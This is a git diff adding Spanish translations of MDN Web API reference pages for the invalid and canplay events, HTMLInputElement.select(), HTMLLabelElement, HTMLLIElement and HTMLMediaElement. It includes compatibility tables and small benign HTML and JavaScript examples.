+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td><span style="font-size: 12px; line-height: 16.3636360168457px;">{{CompatUnknown}}</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implemented in {{bug("556743")}}.</p>
+
+<p>[2] The <code>files</code> property was made settable in Firefox 57 ({{bug(1384030)}}).</p>
+
+<p>[3] In Firefox 56, the implementation has been updated so that the <code>formAction</code> property returns the correct form submission URL, as per spec, when the associated <code>&lt;input&gt;</code> is being used to submit a form ({{bug(1366361)}}).</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("input") }}.</li>
+</ul>
diff --git a/files/es/web/api/htmlinputelement/invalid_event/index.html b/files/es/web/api/htmlinputelement/invalid_event/index.html
new file mode 100644
index 0000000000..e5dec7a141
--- /dev/null
+++ b/files/es/web/api/htmlinputelement/invalid_event/index.html
@@ -0,0 +1,108 @@
+---
+title: Evento invalid
+slug: Web/API/HTMLInputElement/invalid_event
+tags:
+  - Evento
+  - Referencia
+  - eventos
+  - formulários
+  - invalid
+  - inválido
+translation_of: Web/API/HTMLInputElement/invalid_event
+---
+<div>{{APIRef}}</div>
+
+<p>El evento <strong><code>invalid</code></strong> se dispara cuando se ha comprobado la validez de un elemento que se puede enviar y no satisface sus restricciones.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Interfaz</th>
+   <td>{{DOMxRef("Event")}}</td>
+  </tr>
+  <tr>
+   <th>Burbujas</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th>Cancelable</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th>Objetivos</th>
+   <td>{{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <th>Acción por defecto</th>
+   <td>Varía (puede prevenir que un formulario sea enviado)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Este evento puede ser útil para desplegar un resumen de los problemas con un formulario al enviarlo. Cuando un formulario se envía, los eventos <code>invalid</code> son disparados en cada control del formulario que es inválido, y entonces en el mismo elemento <code><a href="https://www.w3.org/TR/html51/sec-forms.html#elementdef-form" id="ref-for-elementdef-form-16">form</a></code>. La válidez de los elementos presentados se comprueba antes de enviar al propio {{HtmlElement("form")}}, o despúes del método <a href="/en-US/docs/HTML/Forms_in_HTML#Constraint_Validation_API" title="/en-US/docs/HTML/Forms_in_HTML#Constraint_Validation_API"><code>checkValidity()</code></a> de un elemento o su propio <code>&lt;form&gt;</code> es llamado. No es revisada al perder el foco (on blur).</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Si un formulario es enviado con un valor inválido, los elementos pressentados son revisados, y si un error es encontrado, el evento <code>invalid</code> se disparará en el elemento <code>invalid</code>. En este ejemplo, el valor inválido del input dispara un evento <code>invalid</code>, y el valor inválido es registrado.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;label&gt;Enter an integer between 1 and 10: &lt;input type="number" min="0" max="10" required&gt;&lt;/label&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;input type="submit" value="submit"&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;&lt;p id="log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('invalid', logValue);
+
+function logValue(e) {
+  log.textContent += e.srcElement.value;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<p>(Funciona en la versión en inglés)</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'forms.html#the-constraint-validation-api', 'Invalid event') }}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', 'sec-forms.html#the-constraint-validation-api', 'Invalid event') }}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'forms.html#the-constraint-validation-api', 'Invalid event') }}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.oninvalid")}}</li>
+ <li>Elemento HTML {{HtmlElement("form")}}</li>
+ <li>Evento relacionado: {{Event("submit")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/:invalid">CSS <code>:invalid </code>pseudo class</a></li>
+</ul>
diff --git a/files/es/web/api/htmlinputelement/select/index.html b/files/es/web/api/htmlinputelement/select/index.html
new file mode 100644
index 0000000000..645932d012
--- /dev/null
+++ b/files/es/web/api/htmlinputelement/select/index.html
@@ -0,0 +1,51 @@
+---
+title: HTMLInputElement.select()
+slug: Web/API/HTMLInputElement/select
+tags:
+  - API
+  - HTML DOM
+  - HTMLInputElement
+  - NeedsCompatTable
+  - Referencia
+  - metodo
+translation_of: Web/API/HTMLInputElement/select
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>El método <strong><code>HTMLInputElement.select()</code></strong> selecciona todo el texto en un elemento {{HTMLElement("textarea")}} o un elemento{{HTMLElement("input")}} con un campo de texto.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.select()</pre>
+
+<h2 id="Especificación" name="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#dom-textarea/input-select', 'select')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Llamando a <code>element.select()</code> no necesariamente se enfoca el campo, por lo que suele utilizarse junto con {{domxref("HTMLElement.focus()")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ HTMLElement("input") }}</li>
+ <li>{{ HTMLElement("textarea") }}</li>
+ <li>{{ domxref("HTMLInputElement") }}</li>
+ <li>{{ domxref("HTMLInputElement.setSelectionRange") }}</li>
+</ul>
diff --git a/files/es/web/api/htmllabelelement/index.html b/files/es/web/api/htmllabelelement/index.html
new file mode 100644
index 0000000000..50df0281c2
--- /dev/null
+++ b/files/es/web/api/htmllabelelement/index.html
@@ -0,0 +1,82 @@
+---
+title: HTMLLabelElement
+slug: Web/API/HTMLLabelElement
+tags:
+  - API
+  - HTML DOM
+  - HTMLLabeledElement
+  - Interface
+  - Referencia
+translation_of: Web/API/HTMLLabelElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La interfaz <strong><code>HTMLLabelElement</code></strong> proporciona acceso a propiedades especificas de los elementos {{HTMLElement("label")}}. A su vez, hereda métodos y propiedades de la interfaz base {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Heredando propiedades de los elementos padres {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLLabelElement.control")}} {{ReadOnlyInline}}</dt>
+ <dd>Es un {{domxref("HTMLElement")}} representando el control a la cual cada etiqueta esta asociado.</dd>
+ <dt>{{domxref("HTMLLabelElement.form")}} {{ReadOnlyInline}}</dt>
+ <dd>Es un objeto {{domxref("HTMLFormElement")}} representado el formulario al cual el control etiquetado está asociado, arrojando el valor <code>null</code>, si no hay asociado ningun control o si ese control no está asociado con un formulario. En otras palabras, esto es un atajo para: <code><em>HTMLLabelElement</em>.control.form</code>.</dd>
+ <dt>{{domxref("HTMLLabelElement.htmlFor")}}</dt>
+ <dd>Este es un contenedor de caracteres que contiene el ID del control etiquetado, esto es lo que refleja el atributo {{htmlattrxref("for", "label")}}</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>No hay metodos específicos, hereda los metodos de los elelemtos padres, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmllabelelement", "HTMLLabelElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-label-element", "HTMLLabelElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>La propiedad <code>accessKey</code> ahora está definida en: {{domxref("HTMLElement")}}.<br>
+    La siguiente propiedad ha sido agregada: <code>control</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-13691394', 'HTMLLabelElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Sin cambios desde: {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-13691394', 'HTMLLabelElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegador_Web">Compatibilidad de Navegador Web</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generada por datos estructurados. si ud. desea contribuir a estos datos, por favor ingrese al siguiente link: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos un requerimeinto (pull request)</div>
+
+<p>{{Compat("api.HTMLLabelElement")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Elementos HTML implementando esta interfaz: {{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("form")}}</li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+</ul>
diff --git a/files/es/web/api/htmllielement/index.html b/files/es/web/api/htmllielement/index.html
new file mode 100644
index 0000000000..93c6555b63
--- /dev/null
+++ b/files/es/web/api/htmllielement/index.html
@@ -0,0 +1,118 @@
+---
+title: HTMLLIElement
+slug: Web/API/HTMLLIElement
+tags:
+  - API
+  - HTML DOM
+translation_of: Web/API/HTMLLIElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>La interfaz <strong>HTMLLIElement </strong>expone las propiedades y los métodos específicos (más allá de los definidos por la interfaz regular {{domxref ("HTMLElement")}} que también tiene disponible por herencia) para manipular elementos de la lista.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Hereda las propiedades de su elemento primario, {{domxref ("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLLIElement.type")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref ("DOMString")}} que representa el tipo de las viñetas, "disco", "cuadrado" o "círculo". Como la forma estándar de definir el tipo de lista es a través de la propiedad CSS {{cssxref ("list-style-type")}}, use los métodos CSSOM para establecerlo a través de un script.</dd>
+ <dt>{{domxref("HTMLLIElement.value")}}</dt>
+ <dd>Es un largo que indica la posición ordinal del elemento de lista dentro de un {{HTMLElement ("ol")}} dado. Refleja el atributo {{htmlattrxref ("valor", "li")}} del elemento HTML {{HTMLElement ("li")}} y puede ser menor que 0. Si el elemento {{HTMLElement ("li")}} Elemento no es hijo de un elemento {{HTMLElement ("ol")}}, la propiedad no tiene ningún significado.</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p><em>No specific method; inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "grouping-content.html#the-li-element", "HTMLLIElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-li-element", "HTMLLIElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following property is now obsolete: <code>type</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-74680021', 'HTMLLIElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-74680021', 'HTMLLIElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}  [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Firefox 10, Gecko incorrectly reflected negative {{htmlattrxref("value", "li")}} attributes to <code>0</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento HTML que implementa esta interfaz: {{HTMLElement("li")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlmediaelement/canplay_event/index.html b/files/es/web/api/htmlmediaelement/canplay_event/index.html
new file mode 100644
index 0000000000..4eb6386c37
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/canplay_event/index.html
@@ -0,0 +1,109 @@
+---
+title: 'HTMLMediaElement: canplay'
+slug: Web/API/HTMLMediaElement/canplay_event
+translation_of: Web/API/HTMLMediaElement/canplay_event
+---
+<p>El evento canplay es lanzado cuando el elemento <a href="/es/docs/Web/HTML/Elemento/video">&lt;video&gt;</a> o <a href="/es/docs/Web/HTML/Elemento/Audio">&lt;audio&gt;</a> puede ser iniciado o fue iniciado satisfactoriamente.</p>
+
+<p>Lo que puede evitar que el evento <code>canplay </code>se dispare puede ser por alguna de estás razones:</p>
+
+<ul>
+ <li>El ruta del <code>audio</code> o <code>video </code>están mal especificadas.</li>
+ <li>El navegador no soporta la etiqueta.  <code> </code></li>
+</ul>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Evento oncanplay - Javascript&lt;/title&gt;
+    &lt;script&gt;
+        function Start() {
+            alert("Start")
+        }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;video controls autoplay oncanplay="Start()"&gt;
+     &lt;source src="audio.mp4" type="video/mp4"&gt;
+&lt;/video&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Intente especificar mal la ruta del <code>src </code>y comprobrará que el evento no funciona.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlmediaelement/index.html b/files/es/web/api/htmlmediaelement/index.html
new file mode 100644
index 0000000000..c507549375
--- /dev/null
+++ b/files/es/web/api/htmlmediaelement/index.html
@@ -0,0 +1,231 @@
+---
+title: HTMLMediaElement
+slug: Web/API/HTMLMediaElement
+translation_of: Web/API/HTMLMediaElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>La interfaz HTMLMediaElement añade a {{domxref("HTMLElement")}} las propiedades y métodos necesarios para soportar las capacidades básicas relacionadas con los medios de comunicación que son comunes en audio y vídeo. Los elementos {{domxref("HTMLVideoElement")}}} y {{domxref("HTMLAudioElement")}}} heredan esta interfaz.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>Esta interfaz también hereda propiedades de sus antepasados {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}} y {{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>Un {{domxref("AudioTrackList")}}} que lista los {{domxref("AudioTrack")}} objetos contenidos en el elemento.</dd>
+ <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt>
+ <dd>Un {{jsxref("Booleano")}} que refleja el {{htmlattrxref("autoplay", "video")}}. Atributo HTML, que indica si la reproducción debe comenzar automáticamente tan pronto como haya suficiente material disponible para hacerlo sin interrupción.
+ <div class="note">Los sitios que reproducen automáticamente audio (o vídeos con una pista de audio) pueden ser una experiencia desagradable para los usuarios, por lo que deben evitarse en la medida de lo posible. Si debe ofrecer la funcionalidad de autojuego, debe hacer que se active (requiriendo que el usuario lo habilite específicamente). Sin embargo, esto puede ser útil a la hora de crear elementos multimedia cuya fuente se establecerá más adelante, bajo el control del usuario.</div>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un objeto {{domxref("TimeRanges")}}} que indica los rangos de la fuente de medios que el navegador ha almacenado en el búfer (si existe) en el momento en que se accede a la propiedad almacenada en el búfer.</dd>
+ <dt>{{domxref("HTMLMediaElement.controller")}}</dt>
+ <dd>Es un objeto {{domxref("MediaController")}}} que representa el controlador de medios asignado al elemento, o nulo si no se asigna ninguno.</dd>
+ <dt>{{domxref("HTMLMediaElement.controls")}}</dt>
+ <dd>Es un {{jsxref('booleano')}} que refleja el {{htmlattrxref("controles", "vídeo")}}}[1]. Atributo HTML, que indica si deben visualizarse las posiciones de la interfase de usuario para controlar el recurso.</dd>
+ <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un {{domxref("DOMTokenList")}} que ayuda al agente de usuario a seleccionar qué controles mostrar en el elemento multimedia cuando el agente de usuario muestra su propio conjunto de controles. La DOMTokenList toma uno o más de los tres valores posibles: nodownload, nofullscreen y noremoteplayback.</dd>
+ <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt>
+ <dd>Es un {{domxref("DOMString")}}} que indica la configuración CORS para este elemento multimedia.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un {{domxref("DOMString")}}} con la URL absoluta del recurso multimedia elegido.</dd>
+ <dt>{{domxref("HTMLMediaElement.currentTime")}}</dt>
+ <dd>Es un doble indicador del tiempo de reproducción actual en segundos. Fijar este valor busca que los medios de comunicación se adapten a los nuevos tiempos.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultMuted")}}</dt>
+ <dd>Es un {{jsxref('booleano')}} que refleja el {{htmlattrxref("silenciado", "video")}}}. Atributo HTML, que indica si la salida de audio del elemento multimedia debe silenciarse de forma predeterminada.</dd>
+ <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt>
+ <dd>Es un doble que indica la velocidad de reproducción predeterminada del material.</dd>
+ <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt>
+ <dd>Es un {{jsxref('Booleano')}} que establece o devuelve el estado de reproducción remota, indicando si el elemento multimedia puede tener una interfaz de reproducción remota.</dd>
+ <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un doble indicando la longitud del material en segundos, o 0 si no hay datos de material disponibles.</dd>
+ <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un {{jsxref('Booleano')}} que indica si el elemento multimedia ha terminado de reproducirse.</dd>
+ <dt>{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("MediaError")}} object for the most recent error, or <code>null</code> if there has not been an error.</dd>
+ <dt>{{domxref("HTMLMediaElement.loop")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that reflects the {{htmlattrxref("loop", "video")}} HTML attribute, which indicates whether the media element should start over when it reaches the end.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaGroup")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("mediagroup", "video")}} HTML attribute, which indicates the name of the group of elements it belongs to. A group of media elements shares a common {{domxref('MediaController')}}.</dd>
+ <dt>{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("MediaKeys")}} object or <code>null</code>. MediaKeys is a set of keys that an associated HTMLMediaElement can use for decryption of media data during playback.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}}. Related to audio stream capture.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}</dt>
+ <dd>Is a <code>double</code> that provides access to the fragment end time if the media element has a fragment URI for <code>currentSrc</code>, otherwise it is equal to the media duration.</dd>
+ <dt>{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Is a <code>unsigned long</code> that indicates the number of samples that will be returned in the framebuffer of each <code>MozAudioAvailable</code> event. This number is a total for all channels, and by default is set to be the number of channels * 1024 (e.g., 2 channels * 1024 samples = 2048 total).</p>
+
+ <p>The <code>mozFrameBufferLength</code> property can be set to a new value for lower latency, larger amounts of data, etc. The size given <em>must</em> be a number between 512 and 16384. Using any other size results in an exception being thrown. The best time to set a new length is after the <a href="/en-US/docs/Web/Events/loadedmetadata">loadedmetadata</a> event fires, when the audio info is known, but before the audio has started or <code>MozAudioAvailable</code> events have begun firing.</p>
+ </dd>
+ <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Returns a <code>double</code> representing the number of samples per second that will be played. For example, 44100 samples per second is the sample rate used by CD audio.</dd>
+ <dt>{{domxref("HTMLMediaElement.muted")}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that determines whether audio is muted. <code>true</code> if the audio is muted and <code>false</code> otherwise.</dd>
+ <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>unsigned short</code> (enumeration) indicating the current state of fetching the media over the network.</dd>
+ <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}} that indicates whether the media element is paused.</dd>
+ <dt>{{domxref("HTMLMediaElement.playbackRate")}}</dt>
+ <dd>Is a <code>double</code> that indicates the rate at which the media is being played back. </dd>
+ <dt>{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref('TimeRanges')}} object that contains the ranges of the media source that the browser has played, if any.</dd>
+ <dt>{{domxref("HTMLMediaElement.preload")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("preload", "video")}} HTML attribute, indicating what data should be preloaded, if any. Possible values are: <code>none</code>, <code>metadata</code>, <code>auto</code>.</dd>
+ <dt>{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}</dt>
+ <dd>Is a {{jsxref('Boolean')}} that determines if the pitch of the sound will be preserved. If set to <code>false</code>, the pitch will adjust to the speed of the audio. This is implemented with prefixes in Firefox (<code>mozPreservesPitch</code>) and WebKit (<code>webkitPreservesPitch</code>).</dd>
+ <dt>{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}</dt>
+ <dd>Returns a <code>unsigned short</code> (enumeration) indicating the readiness state of the media.</dd>
+ <dt>{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{domxref('TimeRanges')}} object that contains the time ranges that the user is able to seek to, if any.</dd>
+ <dt>{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref('Boolean')}} that indicates whether the media is in the process of seeking to a new position.</dd>
